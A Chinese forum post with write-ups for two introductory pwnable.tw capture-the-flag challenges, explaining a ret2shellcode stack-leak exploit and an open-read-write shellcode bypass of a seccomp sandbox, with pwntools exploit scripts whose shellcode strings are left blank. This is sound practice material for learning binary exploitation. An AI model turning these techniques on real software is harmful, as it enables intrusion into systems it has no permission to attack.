-
-
[原创]pwnable.tw入门
-
2022-4-28 00:29
7155
-
pwnable.tw官方不希望暴露题解,所以仅提供两道入门题的题解,供各位大师傅熟悉平台
1.stack
差点不会写
一道ret2shellcode的好题,难度大于直接shellcraft,略低于招新赛的code
保护
啥都没开那就可以考虑shellcode
ida
发现是32位的两个系统调用,先write然后read,而且write的是esp指向的栈上的内容
最后retn 即pop eip jmp
首先明确,写只能往栈上写,如果想调用shellcode,那么我们需要劫持retn的地址为栈上存放shellcode的地址。那么就需要泄露栈地址,即把esp存放的位置想办法指向栈上的位置然后write esp
我们看看正常执行流碰到retn后栈上的分布,就会发现一件很巧的事情
ret之后,esp就滑向了0xdc->0xe0,如果我们ret 到write的系统调用,不就正好可以打印栈上地址了莫?
栈布局啥的就不说了,自己调调就能出
就说说shellcode
push的两个字符应该按照‘/bin/sh’的小端字序,即‘\x00hs/'和'nib/’转16进制
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | from pwn import *
context.log_level = 'debug'
r = process( './start' )
gdb.attach(r)
r.sendafter( 'CTF:' , 'a' * 0x14 + p32( 0x8048087 ))
stack = u32(r.recv( 4 ))
log.success( 'stack:' + hex (stack))
shellcode =
payload = 'a' * 0x14 + p32(stack + 0x14 ) + asm(shellcode)
r.send(payload)
r.interactive()
|
2.orw
一道手写orw系统调用shellcode的裸题
保护
ida
有个沙箱,用seccomp-tools看看干了些啥
发现没有允许execve的系统调用,题目也给了一个文件的目录(hgame貌似用的是相对目录但是前提是当前目录有flag文件),考虑orw
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | from pwn import *
r = remote( 'chall.pwnable.tw' , 10001 )
s_open =
s_read =
s_write =
shellcode = s_open + s_read + s_write
payload = asm(shellcode) + '/home/orw/flag\x00\x00'
r.sendafter( "Give my your shellcode:" ,payload)
st = r.recv()
print (st)
r.interactive()
|
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
最后于 2022-4-28 15:21
被Nameless_a编辑
,原因: